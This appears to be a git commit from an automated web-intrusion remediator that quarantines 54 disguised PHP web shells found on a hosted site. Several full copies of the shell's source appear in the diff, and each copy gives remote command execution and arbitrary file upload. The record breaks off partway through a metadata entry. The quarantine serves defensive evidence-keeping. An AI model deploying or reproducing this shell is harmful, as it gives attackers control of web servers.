quarantine: family=c2-beacon (54 fájl)
vhost: www.archline.hu rel_path: _h3x_0auup6mf.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2899 vhost: www.archline.hu rel_path: _h3x_4850bh4a.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2915 vhost: www.archline.hu rel_path: _h3x_4g075mza.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2909 vhost: www.archline.hu rel_path: _h3x_7kri7up1.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2833 vhost: www.archline.hu rel_path: _h3x_8ff9si92.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2878 vhost: www.archline.hu rel_path: _h3x_c9lejjtn.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2835 vhost: www.archline.hu rel_path: _h3x_czk16vzq.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2846 vhost: www.archline.hu rel_path: _h3x_czx65dw0.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2917 vhost: www.archline.hu rel_path: _h3x_eadu7slw.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2864 vhost: www.archline.hu rel_path: _h3x_eug6h7tt.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2830 vhost: www.archline.hu rel_path: _h3x_fcmkp9am.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2865 vhost: www.archline.hu rel_path: _h3x_gx74cxjp.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2873 vhost: www.archline.hu rel_path: _h3x_ixxtxhjy.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2862 vhost: www.archline.hu rel_path: _h3x_k72j0c9s.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2851 vhost: www.archline.hu rel_path: _h3x_mvo7778m.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2825 vhost: www.archline.hu rel_path: _h3x_nx6e9wei.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2853 vhost: www.archline.hu rel_path: _h3x_oqdklpwt.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2922 vhost: www.archline.hu rel_path: _h3x_q9pnu7nm.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2910 vhost: www.archline.hu rel_path: _h3x_t49gsxsb.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2886 vhost: www.archline.hu rel_path: _h3x_tgzxhs6h.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2891 vhost: www.archline.hu rel_path: _h3x_txdr2don.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2837 vhost: www.archline.hu rel_path: _h3x_w2mu1xvl.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2906 vhost: www.archline.hu rel_path: _h3x_zpjfu3nd.php.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 2860 vhost: www.archline.hu rel_path: cache/_h3x_7femdzwq.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3115 vhost: www.archline.hu rel_path: cache/_h3x_jbpjh349.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3126 vhost: www.archline.hu rel_path: cache/_h3x_kgo3v2ap.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3114 vhost: www.archline.hu rel_path: cache/_h3x_qrl0utnk.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3123 vhost: www.archline.hu rel_path: cache/_h3x_suwbbwff.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3119 vhost: www.archline.hu rel_path: cache/_h3x_xwl185f0.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3118 vhost: www.archline.hu rel_path: images/2017/ch.txt result: quarantined evidence_sha256: f967b3425b2c080584e488492715af17fc29a5f5ef9f7f27d0108dbf128ecb15 timestamp: 20260718T160241Z finding_ref: 3515 vhost: www.archline.hu rel_path: images/_h3x_3bh4rjb2.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3510 vhost: www.archline.hu rel_path: images/_h3x_46wa7ggf.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3494 vhost: www.archline.hu rel_path: images/_h3x_8r32ttzj.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3489 vhost: www.archline.hu rel_path: images/_h3x_bggl9cgz.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3469 vhost: www.archline.hu rel_path: images/_h3x_s7knpv5f.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3509 vhost: www.archline.hu rel_path: images/_h3x_zdi8lujb.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3471 vhost: www.archline.hu rel_path: logs/_h3x_9pq0ueh6.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 4795 vhost: www.archline.hu rel_path: logs/_h3x_czrsgpys.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 4793 vhost: www.archline.hu rel_path: logs/_h3x_ipqsu3tu.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 4786 vhost: www.archline.hu rel_path: logs/_h3x_qx0jpbsm.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 4785 vhost: www.archline.hu rel_path: logs/_h3x_qzmhjwqx.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 4789 vhost: www.archline.hu rel_path: logs/_h3x_yajzsubg.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 4797 vhost: www.archline.hu rel_path: media/_h3x_qljjjjvk.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3057 vhost: www.archline.hu rel_path: media/_h3x_twr3u1w5.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3045 vhost: www.archline.hu rel_path: media/_h3x_u9smyqi1.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3054 vhost: www.archline.hu rel_path: media/_h3x_ve93l4dj.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3056 vhost: www.archline.hu rel_path: media/_h3x_wurtsehy.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3046 vhost: www.archline.hu rel_path: media/_h3x_xvdnccmk.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3039 vhost: www.archline.hu rel_path: tmp/_h3x_7lqwo12d.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3569 vhost: www.archline.hu rel_path: tmp/_h3x_7ye9dcos.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3541 vhost: www.archline.hu rel_path: tmp/_h3x_cea0tg5l.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3561 vhost: www.archline.hu rel_path: tmp/_h3x_ge11h1xh.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3568 vhost: www.archline.hu rel_path: tmp/_h3x_mmb5h47f.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3547 vhost: www.archline.hu rel_path: tmp/_h3x_p2cfauob.php.json.json result: quarantined evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c timestamp: 20260718T160241Z finding_ref: 3566
This commit is contained in:
imrcli-remediator
parent
1ee04f824c
commit
510e2f205f
39
var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2899",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_0auup6mf.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783858318,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_0auup6mf.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2915",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_4850bh4a.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783861952,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_4850bh4a.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2909",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_4g075mza.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783867047,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_4g075mza.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2833",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_7kri7up1.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783871529,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_7kri7up1.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2878",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_8ff9si92.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783865771,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_8ff9si92.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2835",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_c9lejjtn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json)",
|
||||||
|
